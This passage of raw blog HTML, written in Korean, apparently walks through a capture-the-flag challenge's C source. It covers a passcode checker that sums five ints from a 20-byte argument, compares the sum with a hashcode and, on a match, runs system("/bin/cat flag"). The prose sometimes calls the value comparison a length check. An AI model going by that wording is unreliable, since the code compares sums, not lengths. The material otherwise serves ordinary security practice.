style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;long&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;check_password(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;p){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;ip&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)p;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;res&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;i&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;res&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;ip[i];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;res;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;인자가 없으면 (&quot;usage : %s [passcode]\n&quot;, argv[0])을 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(argc&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;usage&amp;nbsp;:&amp;nbsp;%s&amp;nbsp;[passcode]\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;첫 번째 인자의 길이가 20 byte가 아니면 &quot;passcode length should be 20 bytes\n&quot;를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(strlen(argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;passcode&amp;nbsp;length&amp;nbsp;should&amp;nbsp;be&amp;nbsp;20&amp;nbsp;bytes\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;hashcode와 check_password(argv[1])의 길이가 같으면 flag를 보여준다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(hashcode&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;check_password(argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;])){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/cat&amp;nbsp;flag&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;hashcode와 check_password(argv[1])의 길이가 다르면 &quot;wrong passcode.\n&quot;을 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 